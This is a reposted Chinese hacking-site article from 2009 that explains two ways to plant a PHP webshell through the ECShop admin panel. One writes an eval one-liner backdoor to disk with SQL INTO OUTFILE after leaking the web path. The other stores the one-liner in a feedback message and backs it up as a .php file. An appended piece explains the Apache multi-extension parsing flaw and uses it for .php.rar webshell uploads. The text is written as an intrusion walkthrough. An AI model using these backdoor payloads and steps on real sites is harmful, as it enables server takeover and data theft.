首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
再说两种ecshop后台拿shell的方法
来源:http://hi.baidu.com/l4yn3/blog 作者:l4yn3 发布时间:2009-06-12  

     ecshop后台拿shell的方法,除了oldjun大牛的那个和上次说的那个,又发现两种。但是各有个的限制条件,听我一一道来。

     其一:

     ecshop后台有一个功能是sql查询,如图:

     

   其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?

   不过也不错,便宜了我们小菜拿shell。

   方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。

   语句如下:

                 show databases;

                 use 数据库名;

                 create a(cmd text not null);

                  insert into a(cmd) values('<?php eval($_POST[cmd]);?>');

                 select cmd from a into outfile '导出路径';

                 drop table if exists a;

   很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用"use 数据名库"这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:

这样就爆出了路径,用于导出。

但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。

    其二

    另外一种是利用ecshop后台的数据库备份功能。如图:

   

 

 

   这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。

   然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:

  

   然后会显示备份成功。

但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。

 

    这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。

    因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。

    所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。

   所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。

   而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。

   两种方式没有上次说的那位大牛的那么通杀,只是给大家提供个思路,仅此而已。

   由于之前是用shell测试的,可是写文章的时候是在本地测试,环境有点问题,第二种方式一句话成功解析的图就不截了,请见谅。

   没什么技术,欢迎光临l4yn3的个人博客。

   PS:关于apache的文件解析漏洞,看这个吧:http://blog.fir3bug.com/?p=264

PS:

Apache+php文件扩展名解析漏洞

提到Apache,经常接触网络的朋友一定都知道吧。它是一款使用率不亚于IIS的HTTP服务器程序。用于提供我们的HTTP访问。目前最新版本是Apache2.2.6。我们可以到http://httpd.apache.org去进行下载。它可以工作于Linux平台或者是Windows平台。以下的测试我们以Windows平台中Windows2003server为例。
首先我们将下载好的最新Apache安全程序(我这里是安装版的,大家也可以下载解压版的)安装于服务器中并成功启动服务提供HTTP服务。接下来我们再将下载好的PHP安装程序(同样分安装版和解压版)进行安装,一切完毕之后,我们上传一个PHP的后门文件进行访问,得到如下图所示:
uploads/200804/20_220016_1.jpg

可以成功解析。下面我们就来更改下这个PHP文件的扩展名。构造一个类似于*.php.*的文件。至于最后面的那个星号,我们可以随便自定义,甚至是没有的扩展名也可以。比方这里我就定义成index.php.111,如下图所示:
uploads/200804/20_220042_2.jpg

然后我们回到浏览器中进行浏览这个文件http://192.168.203.133/index.php.111。看到了什么?对!同样成功访问了我们的phpshell!
uploads/200804/20_220104_3.jpg

这说明不管最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件!。我们再来尝试访问jpg图片格式文件,却显示了webshell的源文件,如下图所示:
uploads/200804/20_220122_4.jpg

原因就处在了Apache的配置文件mime.types中。这个文件存在于apache的配置文件夹,我的是“Apache GroupApache2conf”文件夹中。我们用记事本打开mime.types文件。可以看到在左侧的“MIMI type”中定义了一些文件的打开方式,而再右边“Extensions”中则定义了一些常见文件的扩展后缀名。查找关键字“jpg”可以看到下面有这么一行:image/jpeg jpeg jpg jpe 。如下图所示:
uploads/200804/20_220140_5.jpg

原来jpg扩展名已经被定义了。所以也就没有被直接解析成php脚本文件了。那我们就找那些在这里未经过定义的扩展名,同时在网站程序中我们可以找所有允许的上传类型。通过对默认配置的尝试,我发现rar文件同样未被定义!那我们就将webshell更名为“shell.php.rar”文件,然后再在浏览器里面进行访问。哈哈!果然成功返回了我们的phpshell!相信在国内的程序中,没有几个上传是不允许rar类型的吧?就这样我们可以利用 Apache的漏洞进行上传得到一个php的shell了。
以上测试环境是在Windows下。对于Linux中,问题同样。再这里就不进行测试了。至于是否是Apache所有版本,也没有时间进行全部测试。大家可以在以后的实践中进行总结。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·ECSHOP后台拿shell超简单版
·帝国备份王拿shell
·通过SQL SERVER远程上传文件的实
·跨站脚本XSS
·拿下PHPBB.com的过程(老外写的
·MSSQL下用UNION和系统表配合猜表
·MSSQL注入利用Group by&having猜
·利用cpl文件在xp中留一个后门
·AspProductCatalog漏洞分析与利
·0day openssh remote exploit
·渗透利器:强大的溢出工具包--Me
·入侵检测广东某大学网站
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved